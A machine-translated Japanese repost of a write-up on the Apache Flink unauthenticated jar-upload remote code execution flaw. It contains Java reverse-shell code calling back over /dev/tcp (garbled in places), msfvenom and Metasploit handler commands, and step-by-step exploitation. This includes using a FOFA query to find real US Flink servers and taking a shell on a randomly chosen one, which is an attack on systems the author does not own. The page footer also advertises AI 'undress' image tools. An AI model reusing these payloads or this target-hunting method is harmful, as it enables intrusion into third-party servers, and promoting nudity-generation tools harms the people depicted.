検索
ホームページ運用・保守安全性Apache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例

脆弱性の説明:

2019 年 11 月 11 日、セキュリティ エンジニアの Henry Chen は、Apache Flink が承認なしに jar パッケージをアップロードし、リモートでコードが実行される可能性がある脆弱性を公開しました。 Apache Flink ダッシュボードはデフォルトで認証なしでアクセスできるため、悪意のある jar パッケージをアップロードして悪意のあるコードの実行をトリガーすることでシェルを取得できます。

影響範囲

環境設定:

(1) インストール事前に適切な java (java8 以降が必要)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) flink-1.9.1

ダウンロードアドレス: https://www.apache .org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) ダウンロードした圧縮パッケージを解凍します:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

( 4) 解凍されたディレクトリに移動し、その bin ディレクトリに移動します。

apache flink任意jar包上传导致远程代码执行的示例分析

(5) flink を開始します:

./start-cluster.sh

(6) ブラウザ アクセス検証 (デフォルトのポートは 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

##上記の図が表示され、確立は成功です。

(7) 起動時の自動起動を設定する(ここで長い間苦労しているのですが、立ち上がれません。source /etc/rc.d/rc.local から直接起動できますが、flink では起動できません)再起動しても起動せず、ようやく解決策を見つけました)

apache flink任意jar包上传导致远程代码执行的示例分析起動時の自動起動設定

脆弱性再発:


jar パッケージの作成手順:

( 1) Java を使用してシェルをリバウンドする方法については、記事 https://klionsec.github.io/2016/09/27/revese-shell/#menu を参照してください

apache flink任意jar包上传导致远程代码执行的示例分析IP とポートを変更することを忘れないでください:

apache flink任意jar包上传导致远程代码执行的示例分析コード:

<p>package shell;public class Revs {   <br> /**    * @param args    * @throws Exception     */    <br> public static void main(String[] args) throws Exception {        <br> // TODO Auto-generated method stub        <br> Runtime r = Runtime.getRuntime();        <br> String cmd[]= {"/bin/bash","-c","exec 5/dev/tcp/192.168.1.12/9999;<br> cat &5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p><p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>

## b. 次に、「java-->Runnable JAR fileapache flink任意jar包上传导致远程代码执行的示例分析

」を選択します。c. 次に、対応する Java プロジェクト、エクスポート パス、およびエクスポート ファイル名を選択しますapache flink任意jar包上传导致远程代码执行的示例分析

##図

apache flink任意jar包上传导致远程代码执行的示例分析これはリバウンド シェルの jar パッケージを生成します

msf は jar horse を生成します:

(1) msfvenom を使用して jar を生成しますhorse:

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) msf のリッスン モジュールを開き、ポート 9999 をリッスンします (jar horse によって設定されたポートと一致するように)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit

# #(3) 生成した jar ホースをアップロードして送信した後 (一部の操作については、以下の再現を参照してください)、シェルを正常に受信したことがわかります:


apache flink任意jar包上传导致远程代码执行的示例分析ローカル複製:

(1) アクセス ターゲット: apache flink任意jar包上传导致远程代码执行的示例分析

(2) [Submit New job] をクリックして、jar をアップロードするためのページを開きます。パッケージ:

apache flink任意jar包上传导致远程代码执行的示例分析

#(3) [新規追加] をクリックして、作成した jar パッケージを選択します:

apache flink任意jar包上传导致远程代码执行的示例分析

#(4)マシン上のポートを監視します (作成した jar パッケージはシェルを直接再バインドします)

(5) アップロードしたばかりの jar パッケージをクリックします: apache flink任意jar包上传导致远程代码执行的示例分析

(6) 次に「送信」をクリックすると、シェルを正常に受信したことがわかります:

apache flink任意jar包上传导致远程代码执行的示例分析

インターネット サイト:

fofa キーワード:apache flink任意jar包上传导致远程代码执行的示例分析

"apache-flink-dashboard" && country="US"

(1) ランダムなターゲットを見つけます:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) [Submit new Job] をクリックすると、jar パッケージをアップロードできることがわかります

apache flink任意jar包上传导致远程代码执行的示例分析

(3) flink の機能を使用して、jar パッケージをアップロードします。

apache flink任意jar包上传导致远程代码执行的示例分析

(4) アップロード後、 vps 上のポート

を監視します (5) 次に、ブラウザに戻り、アップロードした jar パッケージを選択し、[送信] をクリックして送信します。vps がシェル# を正常に受信したことがわかります。

apache flink任意jar包上传导致远程代码执行的示例分析

##脆弱性の修正:


ホワイトリスト IP のみが Apache flink サービスにアクセスできるようにファイアウォール ポリシーを設定し、これをWeb プロキシ (Apache httpd など) サービスのダイジェスト認証。

常に公式 Web サイトに注意を払い、新しいバージョンやパッチの更新を待ちます

以上がApache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事は亿速云で複製されています。侵害がある場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

SublimeText3 英語版

SublimeText3 英語版

推奨: Win バージョン、コードプロンプトをサポート!

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強力な PHP 統合開発環境

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

このプロジェクトは osdn.net/projects/mingw に移行中です。引き続きそこでフォローしていただけます。 MinGW: GNU Compiler Collection (GCC) のネイティブ Windows ポートであり、ネイティブ Windows アプリケーションを構築するための自由に配布可能なインポート ライブラリとヘッダー ファイルであり、C99 機能をサポートする MSVC ランタイムの拡張機能が含まれています。すべての MinGW ソフトウェアは 64 ビット Windows プラットフォームで実行できます。

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

AtomエディタMac版ダウンロード

AtomエディタMac版ダウンロード

最も人気のあるオープンソースエディター